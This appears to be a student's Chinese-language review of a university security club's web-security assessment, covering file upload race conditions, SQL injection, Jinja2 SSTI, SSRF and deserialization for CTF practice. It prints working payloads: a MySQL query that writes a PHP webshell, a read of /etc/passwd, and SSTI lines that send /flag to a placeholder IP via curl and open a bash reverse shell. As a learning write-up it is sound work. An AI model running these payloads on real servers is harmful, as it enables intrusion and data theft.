2025级科技协会安全组 web方向中期考核复盘
写在前面
29号科技协会面试中期考核结束,接触web安全也快半年了,自己还有诸多不足,在考核中收获颇丰,这次复盘也算是一次阶段性成果检验,希望和师傅们一起进步
文件上传
文件上传条件竞争的原理
在文件被上传后、但尚未被安全机制(如内容检查、重命名、移动或删除)处理完成之前,攻击者通过高速并发请求,抢在系统“清理”或“隔离”恶意文件之前(竞争窗口),成功访问并执行该文件
SQL注入
掌握的SQL注入的攻击手段
联合查询,报错注入,布尔盲注,时间盲注
MYSQL如何GetShell
- 存在SQL注入漏洞
- 数据库连接用户需要拥有较高的权限,例如MySQL的
root权限,或者至少拥有FILE、PROCESS等关键权限 - 知晓网站物理路径,以便将恶意文件写入到Web可访问的目录中。
- 数据库可写:数据库配置允许向文件系统写入文件,例如MySQL中的
secure_file_priv参数必须为空或被设置为一个可写的目录
实际上就是通过MYSQL向网站目录中写入webshell
1 | SELECT 1,"<?php @assert($_POST['t']);?>" INTO OUTFILE '/var/www/html/1.php'; |
如果是读取文件的话,也需要知道文件路径
1 | SELECT LOAD_FILE('/etc/passwd') |
SSTI
了解过哪些模板引擎
Flask****框架 Jinja2引擎(只打过这个…
怎么打无回显的SSTI
- 时间盲注
1 | {{().class.base.subclasses()[161].init.globals['eval']('__import__("time").sleep(5)')}} |
- 布尔盲注
1 | {% if "".__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("cat /flag").read() == "flag{...}" %}haha{% endif %} |
- 数据外带
1 | {{config.class.init.globals['os'].popen('curl http://公网IP:2333 -X POST -d @/flag').read()}} |
- 反弹shell
1 | {{config.__class__.__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的VPS_IP/7788 0>&1').read()}} |
SSRF
SSRF需要发起POST请求时请求怎么做
Gopher协议允许你向目标端口发送原始的 TCP 数据流。因为 HTTP 也是基于 TCP 的,我们可以使用Gopher协议手动“伪造”一个符合 HTTP 协议的数据包发送给服务器
1 | import urllib.parse |
Pickle反序列化
了解过Pickle反序列化吗
之前0xGame是有打过Pickle反序列化,但是印象不深,要重新学习了
https://zhuanlan.zhihu.com/p/89132768
PHP反序列化
怎么解决反序列化执行后抛出异常
问题在于反序列化执行后抛出了异常,此时程序非正常退出,不会触发__destruct() 这种一般要利用PHP的GC机制强制执行__destruct()方法,原理为通过反序列化时覆盖对象,使对象无法被引用,触发GC PHP在反序列化时,允许数组内的键是重复的,后面的重复键会覆盖前一个。思路就是序列化一个有两个元素的数组,将第二个元素设置为任意值,再手动将空元素的索引调整为0,此时就会覆盖前一个元素,相当于该对象刚被实例化出来位置就没了,自然无法被引用,自然就触发了__destruct()
1 | //$a是目标序列化对象 |
也可以直接使用 unset() 函数销毁变量
1 | unset($obj); |
Java反序列化
CC链都直接尝试调试了吗
大概?其实CC还有很多变种链
在不知道JDK版本的情况下优先选择打哪条CC链
CC6,老生常谈了
CTF
假期打了几场CTF比赛
比赛中的哪道题印象最深
打比赛时的AI使用情况
尝试过Agent解题吗
写在后面
需要学习的地方还有很多,明天早起打Polaris,然后全力准备末期考核吧,加油





